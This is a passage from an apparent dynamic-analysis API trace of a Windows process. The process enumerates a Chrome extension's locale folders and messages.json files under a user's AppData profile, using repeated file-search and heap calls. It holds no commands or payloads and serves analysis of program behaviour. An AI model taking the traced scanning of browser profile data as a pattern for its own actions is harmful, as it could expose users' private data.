ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.125] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.125] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.125] GetProcessHeap () returned 0x550000 [0277.125] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0277.125] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="az", cAlternateFileName="")) returned 1 [0277.125] GetProcessHeap () returned 0x550000 [0277.125] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0277.125] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.126] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.126] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.126] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.127] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.127] GetProcessHeap () returned 0x550000 [0277.127] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0277.127] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0277.127] GetProcessHeap () returned 0x550000 [0277.127] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0277.127] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.128] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.129] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.129] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x114, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.129] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.129] GetProcessHeap () returned 0x550000 [0277.129] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0277.129] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bn", cAlternateFileName="")) returned 1 [0277.130] GetProcessHeap () returned 0x550000 [0277.130] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0277.130] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.130] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.130] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x14b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.130] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x14b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.130] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.130] GetProcessHeap () returned 0x550000 [0277.130] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0277.130] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0277.130] GetProcessHeap () returned 0x550000 [0277.130] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0277.130] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.133] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfaef0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85dfaef0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.133] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.133] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85dfbe90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.133] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.133] GetProcessHeap () returned 0x550000 [0277.133] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0277.133] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0277.134] GetProcessHeap () returned 0x550000 [0277.134] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0277.134] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.134] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.134] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.134] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xad, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.134] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.134] GetProcessHeap () returned 0x550000 [0277.134] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0277.134] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0277.135] GetProcessHeap () returned 0x550000 [0277.135] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0277.135] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.175] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.175] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xac, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.175] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xac, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.175] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.175] GetProcessHeap () returned 0x550000 [0277.175] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0277.175] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0277.175] GetProcessHeap () returned 0x550000 [0277.175] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0277.175] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.176] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.176] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.176] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e256a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.176] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0277.176] GetProcessHeap () returned 0x550000 [0277.176] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0277.176] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0277.176] GetProcessHeap () returned 0x550000 [0277.176] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0277.176] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e23760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85e23760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0277.182] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, 